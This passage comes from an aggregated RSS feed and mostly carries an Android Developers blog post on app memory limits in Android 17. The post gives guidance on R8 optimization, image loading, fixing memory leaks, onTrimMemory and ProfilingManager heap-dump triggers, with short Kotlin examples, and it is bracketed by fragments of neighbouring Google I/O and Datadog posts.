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</div><div class="separator"><br></div><div class="separator"><br></div><b><div><b><span>3. Hybrid Inference &amp; Agents</span></b></div></b><div><div><br></div><div>To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:</div><p></p><p></p><ul><li><b><a href="https://android-developers.googleblog.com/2026/04/Hybrid-inference-and-new-AI-models-are-coming-to-Android.html">Firebase AI Logic Hybrid Inference</a>: </b>This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as <code>PREFER_ON_DEVICE</code>, <code>PREFER_CLOUD</code>, <code>ONLY_ON_DEVICE</code>, or <code>ONLY_CLOUD</code>, based on your need.</li></ul><p></p><p></p><p></p><ul><li><b>A2UI Jetpack Compose Renderer:</b> The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.</li></ul><p></p><p></p><ul><li><b><a href="https://developers.googleblog.com/adk-kotlin-android-building-ai-agents/">ADK for Android</a>:</b> The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.</li></ul><div><br></div><div>From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk: </div></div><div> <br><p></p><div class="separator">
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  </div><div class="separator"><br></div><div class="separator"><h3>Start Building Today</h3><div class="separator"><div class="separator"><div class="separator">Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI <a href="https://developer.android.com/ai">hub</a>. For the full breakdown of what’s new, check out the official <b>AI on Android at Google I/O 2026</b> <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-GL3584TkxUyoPfzPkB1mV">playlist</a>.</div><div class="separator"><br></div><div class="separator">We are excited to see what you build! </div><div><br></div></div><div><br></div></div></div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
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<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
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<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
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<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
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    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
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<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
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    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
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    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

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    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
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<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s2048/pic4-android-studio-leaks.png">
        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog


  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Althoug...]]></description>
<link>https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:39 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/a/AVvXsEh92CmF7Hos-AKsEmr3k9Va10fhbed32pj4r9wxbUAlpyAIh2GV0KhvsRYzkmATQgflpHYdfAgdFkRfq1ki2G7ty5wKfzoaoyYknCOEjb6Auz7r0Zcfk0tR6VCX-3o3L9fpcs419uI5iNdBiOtno7ughGWD0SGJ5n3sfWPEB7ZJ9M_HQFDLhBQ_hv3HFQ8">
